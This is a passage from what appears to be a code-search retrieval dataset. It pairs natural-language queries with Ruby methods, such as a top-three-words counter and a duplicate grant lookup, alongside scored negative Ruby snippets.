encode_params\n params.require(:encode).permit(:title, :file).merge(user_id: current_user.id)\n end", "def uploaded_file_params\n params.require(:uploaded_file).permit(:file, :hosted_file_url)\n end", "def file_params\n params.require(:wx_file).permit(:file_name, :file_size, :mime_type, :digest, :description)\n end", "def user_file_params\n params.require(:user_file).permit(:title, :desc, :file, :user_file_tag_list, :user_file_tag, { user_file_tag_ids: [] }, :user_file_tag_ids)\n end", "def g_file_params\n params.require(:g_file).permit(:filename, :contents, :gist_id)\n end", "def playbook_params\n params.require(:upload).permit(:name, :file_type_id, :document, :description, group_ids: [], upload_groups_attributes: [ :upload_id, :group_id ])\n end", "def admin_people_file_params\n params.require(:admin_people_file).permit(:title, :description, :publish_on, :file)\n end", "def cvupload_params\r\n params.require(:cvupload).permit(:text)\r\n end", "def create\n@upload = Upload.create(upload_params)\nend", "def userfile_params\n params.require(:userfile).permit(:filename, :date_created, :owner, :size)\n end", "def image_upload_params\n params.require(:image_upload).permit(:experience_id, :image)\n end", "def photo_params\n params.require(:photo).permit(:title,:description,:upload, :price)\n end" ]
[ "0.7795539", "0.77284557", "0.7636273", "0.75941604", "0.75941604", "0.7587071", "0.7560962", "0.75554776", "0.7390583", "0.7352679", "0.7319376", "0.7314301", "0.7303572", "0.7244761", "0.7217983", "0.7134121", "0.7133211", "0.7125759", "0.70994", "0.7097612", "0.7093578", "0.7034166", "0.7021086", "0.7011408", "0.7011408", "0.69930613", "0.69433373", "0.69190747", "0.6910497", "0.6895725", "0.6846674", "0.6791192", "0.67809016", "0.67452043", "0.67317957", "0.66991365", "0.6688275", "0.66823894", "0.6645523", "0.66356826", "0.66133505", "0.6579413", "0.6547764", "0.6501273", "0.6484963", "0.64662725", "0.6445623", "0.64448047", "0.6409395", "0.6397228", "0.6392771", "0.63853043", "0.638027", "0.6363169", "0.63051164", "0.62991226", "0.6295404", "0.6277827", "0.626623", "0.62632644", "0.6256458", "0.625128", "0.62491935", "0.6240917", "0.62322664", "0.62256205", "0.6203936", "0.6179019", "0.6177798", "0.61736465", "0.6167685", "0.61610454", "0.6158285", "0.61573535", "0.6151574", "0.6146258", "0.6145952", "0.6145331", "0.6116309", "0.611049", "0.60924643", "0.6078975", "0.60734224", "0.6072833", "0.6072002", "0.6071596", "0.6056038", "0.6043331", "0.6026233", "0.60254973", "0.60217553", "0.60185695", "0.6016374", "0.60159016", "0.60106665", "0.6002597", "0.5999705", "0.59978294", "0.59934855", "0.597861" ]
0.76084846
3
Great method doing same thing, but not mine.
def top_3_words(text) count = Hash.new { 0 } text.scan(/\w+'*\w*/) { |word| count[word.downcase] += 1 } count.map{|k,v| [-v,k]}.sort.first(3).map(&:last) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def same; end", "def anchored; end", "def private; end", "def probers; end", "def silly_adjective; end", "def offences_by; end", "def ignores; end", "def suivre; end", "def offences_by=(_arg0); end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def big_bad; end", "def surge; end", "def original_result; end", "def star; end", "def gounod; end", "def schubert; end", "def spice; end", "def g; end", "def g; end", "def internship_passed; end", "def terpene; end", "def starship; end", "def romeo_and_juliet; end", "def superweening_adorningly(counterstand_pyrenomycetales)\n end", "def herald; end", "def isolated; end", "def isolated; end", "def villian; end", "def diff1; end", "def original; end", "def greibach_normal_form\n raise NotImplementedError\n end", "def too_complex; end", "def weber; end", "def another; return []; end", "def used?; end", "def king_richard_iii; end", "def overload; end", "def diff2; end", "def jack_handey; end", "def ismn; end", "def gluck; end", "def slop!; end", "def slop!; end", "def sharp; accidental; end", "def custom; end", "def custom; end", "def first; end", "def first; end", "def who_we_are\r\n end", "def wrapper; end", "def leeway; end", "def leeway; end", "def apply; nil; end", "def hiss; end", "def calculated; end", "def result=(_); end", "def algorithm=(_); end", "def algorithm=(_); end", "def algorithm=(_); end", "def algorithm=(_); end", "def buzzword; end", "def buzzword; end", "def mitch_hedberg; end", "def smoothing; end", "def missed?; end", "def fallbacks=(_arg0); end", "def stderrs; end", "def spouse; end", "def tiny; end", "def alt; end", "def kids_musical; end", "def as_you_like_it_quote; end", "def extended(*) end", "def alternatives; end", "def probers=(_arg0); end", "def common\n \n end", "def caveats; nil end", "def caveats; nil end", "def bad_smell_by_nfunctions\n end", "def ninety_nine_bottles_of_beer\nend", "def ninety_nine_bottles_of_beer\nend", "def ninety_nine_bottles_of_beer\nend", "def ravel; end", "def extra; end", "def berlioz; end", "def escaper=(_); end", "def returns; end", "def formation; end", "def explicit; end", "def singular_siegler; end", "def match; end", "def match; end", "def pass; end", "def pass; end", "def ibu; end", "def method_731(base); end", "def ignore; end", "def apply\n\t\t\n\tend" ]
[ "0.6931145", "0.66643935", "0.61290526", "0.6111131", "0.6021669", "0.587997", "0.58647925", "0.5836738", "0.58288157", "0.5818651", "0.5818651", "0.5818651", "0.5818651", "0.5779536", "0.5760535", "0.5736493", "0.5721958", "0.57170945", "0.56975406", "0.56820214", "0.5644199", "0.5644199", "0.5633736", "0.56288564", "0.562247", "0.561945", "0.5617748", "0.558755", "0.5576055", "0.5576055", "0.55743617", "0.5562333", "0.55538297", "0.55428576", "0.5529879", "0.55288774", "0.55221736", "0.5516454", "0.55060905", "0.548914", "0.54862016", "0.5477645", "0.5457938", "0.5456181", "0.5450862", "0.5450862", "0.5445098", "0.54436827", "0.54436827", "0.54230785", "0.54230785", "0.54225385", "0.5416209", "0.54105645", "0.54105645", "0.53940254", "0.53771967", "0.5362019", "0.535863", "0.5356596", "0.5356596", "0.5356596", "0.5356596", "0.53391516", "0.53391516", "0.53317666", "0.5328693", "0.53130007", "0.53055084", "0.5305498", "0.5305264", "0.5303262", "0.5302773", "0.53007895", "0.5296062", "0.52947843", "0.5291237", "0.5286456", "0.5286034", "0.5273706", "0.5273706", "0.5269901", "0.5257869", "0.5257869", "0.5257869", "0.5253325", "0.52449864", "0.52407336", "0.5234553", "0.52301955", "0.52254075", "0.52243453", "0.52236915", "0.52235264", "0.52235264", "0.52179444", "0.52179444", "0.5214795", "0.5210693", "0.52001005", "0.51799345" ]
0.0
-1
create grants array define a method to search for duplicates search for grant number in grants array
def grant_search(grants, grant_number) # set up location = nil return if grant_number == nil duplicate_index = nil # search grant hash in the array and if find the duplicate, then set up index # location grants.each_with_index do |grant, i| if grant[:grant_number] == grant_number duplicate_index = i break end end duplicate_index end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def assigned_investors(sale_rep)\n assigned_accounts = []\n @hash_row_array.each do |hash|\n if hash[\"SALES_REP\"] == sale_rep\n if assigned_accounts.include?(hash[\"INVESTOR\"]) == false\n assigned_accounts << hash[\"INVESTOR\"]\n end\n end\n end\n return assigned_accounts\nend", "def find_first_dup(num_arr)\r\n set = []\r\n num_arr.each do |value|\r\n return value if set[value] #return value if it exists already in the set 'Array'\r\n set[value] = true \r\n end\r\n return -1 \r\nend", "def ==(grants)\n size == grants.size && all? {|grant| grants.include?(grant)}\n end", "def grants_gov_pi\n self.find_all { |user| !user[1][:primary_department_code].nil? &&\n !user[1][:phones].find{|phone| phone[:type]=='Work'}.nil? &&\n !user[1][:emails].find{|email| email[:type]=='Work'}.nil? &&\n !user[1][:era_commons_user_name].nil?\n }.shuffle[0][0]\n end", "def get_grant_info\n # See https://help.nla.gov.au/trove/becoming-partner/for-content-partners/adding-NHMRC-ARC\n # - Funder: Upper case for consistency (in both Funder & PURL)\n # - Grant Num: Upper case for consistency (in both Grant Num & PURL)\n grant_info = []\t\t\t# Ordered list of unique funders & grant numbers\n gwarnings = []\t\t\t# List of warnings\n\n grant_info_rel = {}\t\t\t# Hash for dc.relation\n @dc[:relation].each{|s|\t\t# Format: URL_PREFIX/funder/grant_num\n s.strip.match(PURL_REGEX)\n if [$1, $2, $3].all?{|o| !o.to_s.empty?}\n funder, grant_num = $2.upcase, $3.upcase\n next unless process_grant(funder, grant_num, grant_info, gwarnings, \"dc.relation\", grant_info_rel)\n\n else\n gwarnings << \"dc.relation purl format\"\n end\n }\n\n grant_info_gn = {}\t\t\t# Hash for dc.relation.grantnumber\n @dc[:grantnumber].each{|s|\t\t# Format: funder/grant_num\n s.strip.match(FUNDER_GRANTNUM_REGEX)\n if [$1, $2].all?{|o| !o.to_s.empty?}\n funder, grant_num = $1.upcase, $2.upcase\n next unless process_grant(funder, grant_num, grant_info, gwarnings, \"dc.relation.grantnumber\", grant_info_gn, grant_info_rel)\n\n else\n gwarnings << \"dc.relation.grantnumber format\"\n end\n }\n\n gwarnings << \"dc.relation/dc.relation.grantnumber grants differ\" unless grant_info_rel == grant_info_gn\n [gwarnings, grant_info]\n end", "def grants_individual\n @users = Array.new()\n User.all.each do |u|\n if !u.admin?\n @users.push(u)\n end\n end\n end", "def find_duplicates_set_approach(array)\n duplicates = []\n set = Set.new(array)\n \n set\n \nend", "def find_dup(arr)\n dup = nil\n single_num = []\n arr.each do |num|\n if single_num.include?(num)\n dup = num\n else\n single_num << num\n end\n end\n dup\nend", "def accountability_groups(name_array, min_members)\n name_array = name_array.clone\n num_groups = name_array.length/min_members\n group_counter = 0\n group_array = Array.new(num_groups) { [] }\n\n while name_array.length > 0\n\ngroup_array[group_counter].push(name_array.delete_at(rand(0...name_array.length)))\n if group_counter == num_groups - 1\n group_counter = 0\n else\n group_counter += 1\n end\n end\n\n return group_array\n\nend", "def add_redundancy(pw_data)\n entries = 8000 + SecureRandom.random_number(4000)\n position = SecureRandom.random_number(entries)\n \n ret = entries.times.map{ # or whatever... just create noise ;)\n { SecureRandom.uuid.chars.to_a.shuffle.join => SecureRandom.uuid.chars.to_a.shuffle.join }\n }\n ret[position] = pw_data\n ret << position\n \n ret\n end", "def process_queries(queries, m)\n arr = []\n perm = *(1..m)\n i = 0\n while i < queries.length\n if perm.include?(queries[i])\n index = perm.find_index(queries[i])\n arr += [index]\n deleted = perm.delete_at(index)\n perm.unshift(deleted)\n end\n i+=1\n end\n\n return arr\nend", "def find_dup(array)\n array.inject(Hash.new(0)) { |hash, item| hash[item] += 1; hash }.key(2)\nend", "def find_unique_elements(arr)\n freq = Hash.new #hash to count integers in using key as integer and value as count\n answer = Array.new #array to store the answer to be returned in\n\n \n arr.each {|a| #loop through every element in array \n if freq[a] != nil #check to see if hash value exists\n freq[a] = freq[a] + 1 #add 1 to the hash value\n else \n freq[a] = 1 #create the hash value\n end\n }\n\n\n freq.each {|key, value| #loop through all key and value combinations in hash\n if value == 1 #If the value is 1 it is unique so add it to the answer array to be returned\n answer << key\n end\n } \n return answer\n\nend", "def unique_number(arr)\n existing_numbers = []\n not_unique = []\n arr.each do |entry|\n if existing_numbers[entry] === nil\n existing_numbers[entry] = true\n else\n not_unique[entry] = true\n end\n end\n arr.each do |entry|\n if not_unique[entry] == nil\n return entry\n end\n end\nend", "def find_duplicates(a)\n len=a.length\n n=len-2\n xor= 0\n x,y=0,0 #variables to store duplicates\n \n #xor of all numbers from 1 to n\n for i in 1..n \n xor^=i\n end\n #xor of all array elements\n for i in 0...len \n xor^=a[i]\n end\n #Rightmost set bit\n set_bit_pos= xor & ~(xor-1)\n #Divinding array in two sets ,one with set bit at set_bit_pos and other with 0.\n for i in 0...len\n if (a[i] & set_bit_pos == 0)\n x^=a[i] # XOR of first-set(with 0 at set_bit_pos) in array\n else\n y^=a[i] # XOR of second-set(with 1 at set_bit_pos) in array\n end\n end\n \n for i in 0..n\n if (i & set_bit_pos == 0)\n x^=i # XOR of first-set(with 0 at set_bit_pos) in range\n else\n y^=i # XOR of second-set(with 1 at set_bit_pos) in range\n end\n end\n print \"#{x} #{y}\"\n\treturn\nend", "def proctition_platinum(arr, *prcs)\n\n hash = Hash.new{|h,k| h[k] = []}\n i = 1\n while i < prcs.length\n prcs.each do |prc|\n arr.each do |ele|\n if !(hash.include?(ele)) && prc.call(ele)\n hash[i] << ele\n end\n end\n i += 1\n #i want it to check if the word has already beed added to a value in the has, if so, dont add it to the next one. \n end\n end\n hash\nend", "def redundancy(array, sensitive=true)\n if sensitive == false\n array = lower(array)\n end\n base = array.to_a.sort! { |x, y| x.to_s <=> y.to_s }.uniq\n occurence = {}\n n, b = 0, 0\n base.each do |x|\n while x == array[n]\n n += 1\n end\n occurence[x] = n - b\n b = n\n end\n puts occurence\nend", "def fetch_user(accounts_array, user, pin)\n temp = nil\n accounts_array.each do |account|\n if account.username == user && account.pin == pin\n temp = account\n end\n end\n return temp\nend", "def uniq(array)\n\t\n\tcount = Hash.new 0\n\n array.each do |num|\n count[num] += 1\n end\n \n uniqueness = count.select { |k,v| v == 1 }\n uniqueness.select { |k,v| puts k }\n \nend", "def checkDupe(email_arr)\n\t \tdupeArr = []\n\t \tcopy_arr = Array.new(email_arr)\n\t \temail_arr.each do |selected_obj|\n\t \t\tcopy_arr.each do |copied_obj| \n\t \t\t \n\t \t\t # make sure usernames are not compared to equals ones \n\t \t\t\tif selected_obj[:username] != copied_obj[:username]\n\t \t\t\t\t\n\t \t\t\t\t# check if selected username is substring of copied_username\n\t \t\t\t\t\tif selected_obj[:username].include? copied_obj[:username]\n\t \t\t\t\t\t\t \n\t \t\t\t\t\t\t # check if selected_username length is in range of copied_username\n\t \t\t\t\t\t\t\tlength_range = Range.new(copied_obj[:username].length,copied_obj[:username].length+2)\n\t \t\t\t\t\t\t\tif length_range.cover? selected_obj[:username].length\n\t \t\t\t\t\t\t\t\t\n\t \t\t\t\t\t\t\t\t# push original email & dupe email unto the dupeArr\n\t \t\t\t\t\t\t\t\t\tdupeArr.push(\n\t \t\t\t\t\t\t\t\t\t\t{\n\t \t\t\t\t\t\t\t\t\t\t\toriginal_email: selected_obj, \n\t \t\t\t\t\t\t\t\t\t\t\tduplicate_email: copied_obj}\n\t \t\t\t\t\t\t\t\t\t\t)\n\t \t\t\t\t\t\t\tend # End if\n\t \t\t\t\t\tend # End if\n\t \t\t\tend # End if\n\t \t\tend # End do\n\t \tend # End do\n\t \treturn dupeArr\n\n\t end", "def groups(array_of_names)\r\n\r\n\tnum_people = array_of_names.length \t\t#how many people do we have?\r\n\tgroups_5 = num_people % 4 \t#how many groups will have 5\r\n\tgroups_4 = (num_people - (groups_5 * 5)) / 4 # how many groups will have 4\r\n\ttotal_groups = groups_4 + groups_5 \t\t#how many total groups\r\n\r\n\tgroup_hash = Hash.new([])\t#new hash initialized to empty arrays\r\n\t\r\n\tnum_group = 0\r\n\tindex = 0\r\n\r\n\tgroups_5.times do\r\n\t\tpeople_in_group = []\r\n\t\t5.times do\r\n\t\t\tpeople_in_group << array_of_names[index]\r\n\t\t\tindex += 1\r\n\t\tend\r\n\t\tgroup_hash[\"Accountability Group #{num_group}\"] = people_in_group\r\n\t\tnum_group += 1\r\n\tend\r\n\r\n\tgroups_4.times do\r\n\t\tpeople_in_group = []\r\n\t\t4.times do\r\n\t\t\tpeople_in_group << array_of_names[index]\r\n\t\t\tindex += 1\r\n\t\tend\r\n\t\tgroup_hash[\"Accountability Group #{num_group}\"] = people_in_group\r\n\t\tnum_group += 1\r\n\tend\r\n\r\n\treturn group_hash\r\n\r\nend", "def dupe_indices(array)\n #ht = Hash.new {|h,k| h[k]=[]}\n #ht[\"cats\"] << \"Jellicle\"\n #ht[\"cats\"] << \"Mr. Mistoffelees\"\n hash = Hash.new { |h,k| h[k]=[] }\n array.each_with_index do |char, i|\n hash[char] << i\n end\n \n # puts \"Hash b select form : #{b.select{|key, value| value < 200}}\\n\\n\n hash.select{ |k,v| v.length > 1}\n\n\nend", "def get_employeeid firstname,lastname\n \n employeeid = \"#{firstname[0]}#{lastname[0]}#{Kernel.rand(99999)}\"\n \n while @unique_employeeids.include? employeeid #check to set if new employeeid hasn't already been assigned to someone\n employeeid = \"#{firstname[0]}#{lastname[0]}#{Kernel.rand(99999)}\"\n end\n \n @unique_employeeids << employeeid #add accepted id to array of all ids\n return employeeid \n \nend", "def findSet(originalname,checkitem) \n if @store[checkitem].is_a?(Integer) then\n #Updating refrence to speed up further query\n if originalname!=checkitem then\n @store[originalname]=checkitem\n end\n return Array.[](checkitem,@store[checkitem]) #Return the Absolute Parent name and the number of element it has\n else\n findSet(originalname,@store[checkitem]) \n end\n end", "def sockMerchant(n, ar)\n match_count = 0\n dup_arr = ar\n i = 0\n while i < dup_arr.length\n for j in i+1..dup_arr.length do\n if dup_arr[i] == dup_arr[j]\n match_count = match_count+1\n dup_arr.slice!(j)\n dup_arr.slice!(i)\n i = 0\n break\n end\n i = i+1 if j == dup_arr.length\n\n end\n end\n match_count\nend", "def find_duplicate(array)\n numberCount = {}\n array.each do |element|\n if !numberCount[element]\n numberCount[element] = 1\n else \n return element\n end \n end \n -1\nend", "def findDups(objArray, dupsHashArray, emptyFileArray)\n objArray.each_with_index do |obj, idx1|\n if obj.is_empty?\n emptyFileArray.push(obj.fileName)\n next \n end\n objArray.each_with_index do |obj2, idx2|\n next if idx1 >= idx2 \n if obj.md5 === obj2.md5\n foundDupHash= {:filePath => obj.fileName, :duplicatePath => obj2.fileName}\n dupsHashArray.push(foundDupHash)\n end\n end\n end \n end", "def find_duplicates(array)\n result_hash = {}\n result_array = []\n\n array.each do |num|\n if result_hash[num].nil?\n result_hash[num] = 1\n else\n result_hash[num] += 1\n end\n end\n\n result_hash.each do |k, v|\n result_array.push(k) if v > 1\n end\n\n result_array\nend", "def find_dup(array_of_integers)\n array_of_integers.each do |integer|\n return integer if array_of_integers.count(integer) == 2\n end\nend", "def checkIdTeamEnd arrEntered , arrNewInput, originHash\t\n\t#kiem tra trong mang co doi seed chua\t\n\tisCheck = isSeedNormalInGroup(arrNewInput)\n\tid22 = 0\n\tif isCheck == 1\t#chua co doi seed\n\t\tarrAlow = showSuggest 1 \t\t\n\t\tloop do\n\t\t\tprint \" 1. Id team 2 : \"\n\t\t\tid22 = gets.to_s.chomp\n\t\t\tid22 = inputID123 id22, 2, arrEntered, originHash\n\t\t\tarrEntered.push(id22)\n\t\t\t#bien isInArrAlow kiem tra xem id vua nhap vao co nam trong mang de nghi hay khong?\n\t\t\tisInArrAlow = arrAlow.include? id22\n\t\t\tif isInArrAlow\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tputs \" !!!This team must in suggest array!!!\"\n\t\t\tend\t\t\t\n\t\t\tbreak if isInArrAlow == true\n\t\tend\n\t\treturn id22\n\t\t#bat dau nhap\n\telsif isCheck == -1\t#chua co doi normal\n\t\tarrAlow = showSuggest -1\n\t\tloop do\n\t\t\tprint \" 1. Id team 2 : \"\n\t\t\tid22 = gets.to_s.chomp\n\t\t\tid22 = inputID123 id22, 2, arrEntered, originHash\n\t\t\tarrEntered.push(id22)\n\t\t\tisExit = false\n\t\t\tarrAlow.each do |i|\n\t\t\t\tif arrAlow.include? id22\n\t\t\t\t\tisExit = true\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tbreak if isExit == true\n\t\tend\n\t\treturn id22\n\telse\t\t\t\t#da co 2 doi seed va normal\n\t\tprint \" 1. Id team 2 : \"\n\t\tid22 = gets.to_s.chomp\n\t\tid22 = inputID123 id22, 2, arrEntered, originHash\n\t\treturn id22 if @hash_main.key?(id22)\n\tend\n\t@hash_main\nend", "def find_duplicate(arr)\n\tarr.select{|e| arr.count(e) > 1}.uniq\nend", "def claimed_rewards_by_project\n claimed_rewards_by_project = Hash.new(0)\n self.rewards_selected.each do |reward, frequency|\n selected_reward = Reward.find_by(description: reward)\n claimed_rewards_by_project[selected_reward.project_id] += selected_reward.dollar_amount\n end\n return claimed_rewards_by_project\nend", "def check_guess(guess)\n\t\thits_arr = []\n\t\t@secret.chars.each_index do |idx|\n\t\t\thits_arr << idx if guess == @secret[idx]\n\t\tend\n\t\t\n\t\thits_arr\n\tend", "def accountability_groups(students)\nnum_of_groups = (1..15).to_a #turns number of groups needed into an array\n\nstudent_groups = Array.new #array of arrays of 4 or 5 students \nacct_groups = Hash.new #keys[num_of_groups], value(student_groups)\n\nstudents.each_slice(4) { |s| student_groups << s } #returns array of 14 groups of 4, 1 group of 1\n\nleftover = student_groups.pop #assigns variable name to the group of 1 student\n\nstudent_groups[-1].push leftover #pushes 1 leftover student into the 14th group \n\nnum_of_groups.each_with_index { |i, j| acct_groups[i]=student_groups[j] } #assigns number of groups needed (15 groups) as the hash keys and assigns each student group to a key's value.\n\np acct_groups\n\nend", "def get_candidates(person)\n cans = []\n $list.each do |p|\n cans.push p unless\n (p == person) ||\n (p['last'] == person['last']) ||\n (p['santa'] != -1)\n end\n cans\nend", "def contains_duplicate(nums)\n hash_table = {}\n (0..nums.length).each do |i|\n if hash_table.include? nums[i]\n return true\n else\n hash_table[nums[i]] = 1\n end\n end\n return false\nend", "def find_users_id_from_query\n if query_is_mifare_number?\n find_users_from :card\n else\n found_user_ids = Set.new\n\n USER_SOURCES_PRIORITY.each do |source|\n if found_user_ids.size < USER_COUNT_SEARCH_LIMIT\n found_user_ids.merge(find_users_from source)\n end\n end\n\n found_user_ids.take(USER_COUNT_SEARCH_LIMIT)\n end\n end", "def possible_duplicates\n @duplicates = {}\n check_last_name_duplicates if last_name.present?\n check_email_duplicates if email_address.present?\n check_phone_number_duplicates if phone_number.present?\n check_address_duplicates if address_1.present?\n @duplicates\n end", "def CheckUniqDigits(n)\n\n h1 = Hash.new\n\n arr = n.digits\n\n for onedig in arr\n\n h1.key?(onedig) ? (return 0) : (h1[onedig] = 1)\n\n end\n\n return 1\n\nend", "def duplicate(arr)\n hsh = {}\n\n arr.each do |ele|\n return ele if hsh[ele]\n hsh[ele] = true\n end\n\n false\nend", "def find_shared_matchups\n ChampionGGApi::MATCHUP_ROLES.values.inject([]) do |shared_matchups, matchup_role|\n matchups = Cache.get_champion_matchups(@name1, matchup_role, @elo)\n shared_matchups.tap do\n if matchups && matchup = matchups[@name2]\n shared_matchups << matchup\n end\n end\n end\n end", "def duplicates(arr)\n values = Set.new\n copies = Set.new\n\n arr.each do |value|\n if values.include?(value)\n copies << value\n else\n values << value\n end\n end\n\n return copies\nend", "def no_dupes?(arr)\n new_hash = Hash.new(0)\n new_arr = []\n\n arr.each do |x|\n new_hash[x] += 1\n end\n\n new_hash.each do |k,v|\n if v == 1\n new_arr << k\n end\n end\n new_arr\nend", "def gem_stones array\n\n gem_list = []\n\n array.map! do |x|\n x.chars.uniq.sort\n end\n\n sum_of_array = array.flatten\n freq = Hash.new(0)\n sum_of_array.each do |key|\n freq.store(key, freq[key]+1)\n end\n freq.each do |key, value|\n if value == array.size\n gem_list << key\n end\n end\n gem_list \nend", "def assosi(minsupp = 2)\n # create 1-frequent-set\n c1 = Product.all.permutation(1).to_a\n l1 = c1.reject { |fi| trans_containing(fi) < minsupp}\n # find k-frequent-set, first elem is nil because k = 2\n l = [nil, l1]\n k = 2\n c = []\n while not(l[k-1].empty?)\n # find candidates\n b = l[k-1].flatten.to_set.to_a\n c = b.reduce([]) do |accu, extension|\n accu + l[k-1].reduce([]) do |accu2, canidate|\n if not(canidate.include?(extension)) then\n accu2 << (canidate + [extension])\n else\n accu2\n end\n end\n end\n # remove dubs\n c = c.collect {|e| e.to_set }.to_set.collect {|e| e.to_a }.to_a\n # select minsupps\n l[k] = c.reject { |canidate| trans_containing(canidate) < minsupp }\n k = k + 1\n end\n #first elem is nil; last elem is an empty list\n l.shift; l.pop\n low_fatten(l)\n end", "def update_IT_Admin(roles)\n roles.each do |group|\n if group[\"groupTitle\"] == \"IT Administrator\"\n rights = group[\"rights\"]\n rights.push(SECURITY_EVENT_RIGHT).uniq!\n end\n end\nend", "def valid_sudoku(table)\n # seen_set = Set.new()\n # for i in \nend", "def find_dup(array)\n checked_array = []\n array.each do |el|\n if checked_array.include?(el)\n return el\n else\n checked_array << el\n end\n end\nend", "def icecreamParlor(m, arr)\n # Complete this function\n res = []\n arr.each_index do |i|\n if i + 1 !=nil\n j = i + 1\n while j <= arr.length - 1\n if arr[i]+arr[j] == m\n res.push([i+1,j+1])\n end\n j+=1\n end\n end\n end\n res\nend", "def find_dup(array)\n array.find { |num| num if array.count(num) > 1 }\nend", "def contain_duplicates(arr)\n\n if arr == nil?\n return false\n end\n\n\n hash = Hash.new(0) # counter hash\n\n arr.each do |i|\n\n if hash[i]\n hash[i] = hash[i] + 1\n else\n hash[i] = 1\n end\n if hash[i] > 1\n return true\n end\n end\n\n return false\nend", "def find_dup(arr)\n arr.each do |item|\n item_count = arr.count(item)\n return item if item_count > 1\n end\nend", "def find_unique(array)\n unique_id = 0\n\n array.each do |num|\n unique_id ^= num\n end\n\n unique_id\nend", "def sdrm_int(aa_array,start_aa=1)\n out_hash = {}\n sdrm = {}\n sdrm[66] = ['T',['A','I','K']]\n # sdrm[68] = ['L',['V']] not included any more\n sdrm[74] = ['L',['M']]\n sdrm[92] = ['E',['Q']]\n sdrm[95] = ['Q',['K']]\n sdrm[97] = ['T',['A']]\n sdrm[121] = ['F',['Y']]\n sdrm[140] = ['G',['A','S','C']]\n sdrm[143] = [\"Y\",[\"C\",\"H\",\"R\"]]\n sdrm[147] = ['S',['G']]\n sdrm[148] = ['Q',['H','K','R']]\n sdrm[155] = ['N',['S','H']]\n aa_length = aa_array.size\n end_aa = start_aa + aa_length - 1\n (start_aa..end_aa).each do |position|\n array_position = position - start_aa\n if sdrm.keys.include?(position)\n wt_aa = sdrm[position][0]\n test_aa = aa_array[array_position]\n if test_aa.size == 1\n unless wt_aa == test_aa\n if sdrm[position][1].include?(test_aa)\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n else\n test_aa_array = test_aa.split(\"/\")\n if (test_aa_array & sdrm[position][1])\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n\n end\n end\n return out_hash\nend", "def find_unique_elements(arr)\n collect = Hash.new 0\n \n arr.each do |elt|\n collect[elt] += 1\n end\n\n unique_hash = Hash(collect.select {|k,v| v == 1})\n \n unique_hash.keys\nend", "def find_unique_elements(arr)\n arr_fin=[]\n arr.each do |x|\n arr.count(x)\n if arr.count(x)==1\n arr_fin << x\n end\n end\n return arr_fin\nend", "def no_dupes?(arr)\n counter = Hash.new(0)\n arr.each { |ele| counter[ele] +=1 }\n \n # new_array = []\n # counter.each do |k,v|\n # new_array << k if v == 1\n # end\n # new_array\n counter.keys.select { |el| counter[el] == 1 }\nend", "def find_dupes\n @hathi_report_filtered.find_all.with_index do |row, index|\n row if (row['local_id'] == @hathi_report_filtered.at(index + 1)&.[]('local_id')) || (row['local_id'] == @hathi_report_filtered.at(index - 1)['local_id'])\n end.compact\n end", "def contains_nearby_duplicate(nums, k)\n counter = {}\n \n nums.each_with_index do |num, i|\n return true if i - counter[num] <= k if counter[num]\n \n counter[num] = i \n end\n \n false\nend", "def filter_device_license(licenses_arr)\r\n duplicated_items = []\r\n\r\n (0..licenses_arr.length - 1).each do |i|\r\n (i + 1..licenses_arr.length - 1).each do |j|\r\n if licenses_arr[i][:device_serial] == licenses_arr[j][:device_serial] && licenses_arr[i][:package_name] == licenses_arr[j][:package_name]\r\n if licenses_arr[i][:status] == 'pending'\r\n licenses_arr[i][:status] = licenses_arr[j][:status]\r\n licenses_arr[i][:slot] = licenses_arr[j][:slot]\r\n \r\n duplicated_items.push(licenses_arr[j])\r\n break\r\n elsif licenses_arr[j][:status] == 'pending'\r\n licenses_arr[j][:status] = licenses_arr[i][:status]\r\n licenses_arr[j][:slot] = licenses_arr[i][:slot]\r\n\r\n duplicated_items.push(licenses_arr[i])\r\n break\r\n end\r\n next\r\n end\r\n next\r\n end\r\n end\r\n\r\n licenses_arr - duplicated_items\r\n end", "def uniques(array)\n test_array=[]\n array.each do |i|\n if test_array.include?(i)==false\n test_array.push(i)\n else \n end\n end\n return test_array\nend", "def contains_nearby_duplicate(nums, k)\n nums_hash = {}\n \n nums.each_with_index do |num, index|\n return true if nums_hash[num] && index - nums_hash[num] <= k\n \n nums_hash[num] = index\n end\n \n false\nend", "def duplicates?(input_numbers)\n collection_of_numbers = {}\n input_numbers.each do |number|\n if collection_of_numbers[number]\n return true\n else\n collection_of_numbers[number] = true\n end\n end\n return false\nend", "def find_duplicate(array)\n\n if array.detect{ |value| array.count(value) > 1 }\n # use of detect method will find item in array\n \tduplicate = array.detect{ |value| array.count(value) > 1 }\n p \"duplicate is: #{duplicate}\"\n return duplicate\n else\n # if no duplicates, indicate to the user\n p \"no duplicate\"\n end\nend", "def find_dup(array)\n # 17 - (1 + 2 + 3 + 4 + 5) = 2 --- total in this array minus total if there were no dupes\n array.reduce(&:+) - (1..(array.length - 1)).reduce(&:+)\nend", "def no_dupes?(arr)\n counter_hash = Hash.new(0)\n arr.each { |ele| counter_hash[ele] += 1 }\n counter_hash.select { |key, val| val == 1 }.keys\n #counter_hash.keys.select { |blah| counter_hash[blah] == 1 }\nend", "def duplicate_check_sym_to_a\n # Create duplication check filter from duplicate_check_sym_fields\n duplicate_check_array = []\n @duplicate_check_syms.each do |field_sym|\n duplicate_check_array << \"dest_row.#{ field_sym } == src_row.#{ field_sym }\"\n end\n duplicate_check_array.join(' && ')\n end", "def nameri arr, query \n len = arr.length\n for idx in 0 .. len - 1 do\n if query == arr[idx]\n return idx \n else \n end\n end\nend", "def find_plants(student)\n # require 'pry'; binding.pry\n if @students == [] # no custom input\n plant_position = {\n alice: [0,1],\n bob: [2,3],\n charlie: [4,5],\n david: [6, 7],\n eve: [8, 9],\n fred: [10, 11],\n ginny: [12, 13],\n harriet: [14, 15],\n ileana: [16, 17],\n joseph: [18, 19],\n kincaid: [20, 21],\n larry: [22, 23]\n }\n plants = []\n #row 1\n plants << @garden_array[0][plant_position[student][0]]\n plants << @garden_array[0][plant_position[student][1]]\n #row 2\n plants << @garden_array[1][plant_position[student][0]]\n plants << @garden_array[1][plant_position[student][1]]\n return plants\n else\n #find custom plant position\n custom_position = {}\n counter = 